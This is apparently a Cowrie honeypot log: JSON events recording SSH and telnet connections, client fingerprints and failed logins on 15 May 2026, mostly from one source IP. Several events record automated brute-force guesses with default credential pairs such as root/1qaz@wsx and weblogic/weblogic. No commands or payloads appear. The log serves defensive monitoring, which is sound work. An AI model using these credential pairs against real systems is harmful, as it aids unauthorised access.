{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":63718,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c73fec9ca5b","protocol":"ssh","message":"New connection: 194.59.206.2:63718 (10.17.0.5:22) [session: 5c73fec9ca5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:36.887164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:36.891584Z","src_ip":"194.59.206.2","session":"5c73fec9ca5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:36.977110Z","src_ip":"194.59.206.2","session":"5c73fec9ca5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:37.066758Z","src_ip":"194.59.206.2","session":"5c73fec9ca5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":23698,"dst_ip":"159.203.135.109","dst_port":22,"session":"29ec35685614","protocol":"ssh","message":"New connection: 165.154.23.26:23698 (159.203.135.109:22) [session: 29ec35685614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:41.540814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:41.544427Z","src_ip":"165.154.23.26","session":"29ec35685614","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:41.770314Z","src_ip":"165.154.23.26","session":"29ec35685614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jflhi5za","password":"drHsosw0iIPRMnLcZUwC","message":"login attempt [jflhi5za/drHsosw0iIPRMnLcZUwC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:42.687286Z","src_ip":"165.154.23.26","session":"29ec35685614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:43.909836Z","src_ip":"165.154.23.26","session":"29ec35685614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:44.875559Z","src_ip":"47.86.95.62","session":"33989a728e9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":35120,"dst_ip":"10.17.0.5","dst_port":22,"session":"a49bfccc56d1","protocol":"ssh","message":"New connection: 47.86.95.62:35120 (10.17.0.5:22) [session: a49bfccc56d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:58.048143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:58.052291Z","src_ip":"47.86.95.62","session":"a49bfccc56d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:58.260817Z","src_ip":"47.86.95.62","session":"a49bfccc56d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:58.946147Z","src_ip":"47.86.95.62","session":"a49bfccc56d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:14:00.157657Z","src_ip":"47.86.95.62","session":"a49bfccc56d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":55518,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb7ecc65f944","protocol":"ssh","message":"New connection: 47.86.95.62:55518 (10.17.0.5:22) [session: eb7ecc65f944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:14:06.982565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:14:10.903002Z","src_ip":"47.86.95.62","session":"eb7ecc65f944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:14:10.907267Z","src_ip":"47.86.95.62","session":"eb7ecc65f944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:14:22.082954Z","src_ip":"47.86.95.62","session":"eb7ecc65f944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.0","message":"Connection lost after 17.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:14:23.938535Z","src_ip":"47.86.95.62","session":"eb7ecc65f944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":44602,"dst_ip":"10.17.0.5","dst_port":22,"session":"39c501ad61ad","protocol":"ssh","message":"New connection: 47.86.95.62:44602 (10.17.0.5:22) [session: 39c501ad61ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:14:27.691337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:14:27.721851Z","src_ip":"47.86.95.62","session":"39c501ad61ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:14:27.923792Z","src_ip":"47.86.95.62","session":"39c501ad61ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:14:28.818892Z","src_ip":"47.86.95.62","session":"39c501ad61ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:14:30.035878Z","src_ip":"47.86.95.62","session":"39c501ad61ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":43092,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8025588882b","protocol":"ssh","message":"New connection: 47.86.95.62:43092 (10.17.0.5:22) [session: f8025588882b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:14:33.072224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:14:33.076399Z","src_ip":"47.86.95.62","session":"f8025588882b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:14:33.307312Z","src_ip":"47.86.95.62","session":"f8025588882b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:14:38.922317Z","src_ip":"47.86.95.62","session":"f8025588882b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:14:42.619112Z","src_ip":"47.86.95.62","session":"f8025588882b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":41506,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbd7e0974ecb","protocol":"ssh","message":"New connection: 47.86.95.62:41506 (10.17.0.5:22) [session: cbd7e0974ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:14:47.992168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:14:48.028760Z","src_ip":"47.86.95.62","session":"cbd7e0974ecb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:14:48.195672Z","src_ip":"47.86.95.62","session":"cbd7e0974ecb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:14:48.987371Z","src_ip":"47.86.95.62","session":"cbd7e0974ecb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:14:50.263853Z","src_ip":"47.86.95.62","session":"cbd7e0974ecb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.74.67.243","src_port":50662,"dst_ip":"159.203.135.109","dst_port":23,"session":"9aeb84eef884","protocol":"telnet","message":"New connection: 105.74.67.243:50662 (159.203.135.109:23) [session: 9aeb84eef884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:11.226326Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":40340,"dst_ip":"10.17.0.5","dst_port":22,"session":"b02eb26e5ed7","protocol":"ssh","message":"New connection: 47.86.95.62:40340 (10.17.0.5:22) [session: b02eb26e5ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:13.414546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:14.884261Z","src_ip":"47.86.95.62","session":"b02eb26e5ed7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:14.889827Z","src_ip":"47.86.95.62","session":"b02eb26e5ed7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:23.032490Z","src_ip":"47.86.95.62","session":"b02eb26e5ed7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.696076393127441,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:23.922268Z","src_ip":"105.74.67.243","session":"9aeb84eef884","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:24.765142Z","src_ip":"47.86.95.62","session":"b02eb26e5ed7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":40994,"dst_ip":"10.17.0.5","dst_port":22,"session":"17c836b8c157","protocol":"ssh","message":"New connection: 47.86.95.62:40994 (10.17.0.5:22) [session: 17c836b8c157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:26.945106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:27.472410Z","src_ip":"47.86.95.62","session":"17c836b8c157","protocol":"ssh"}
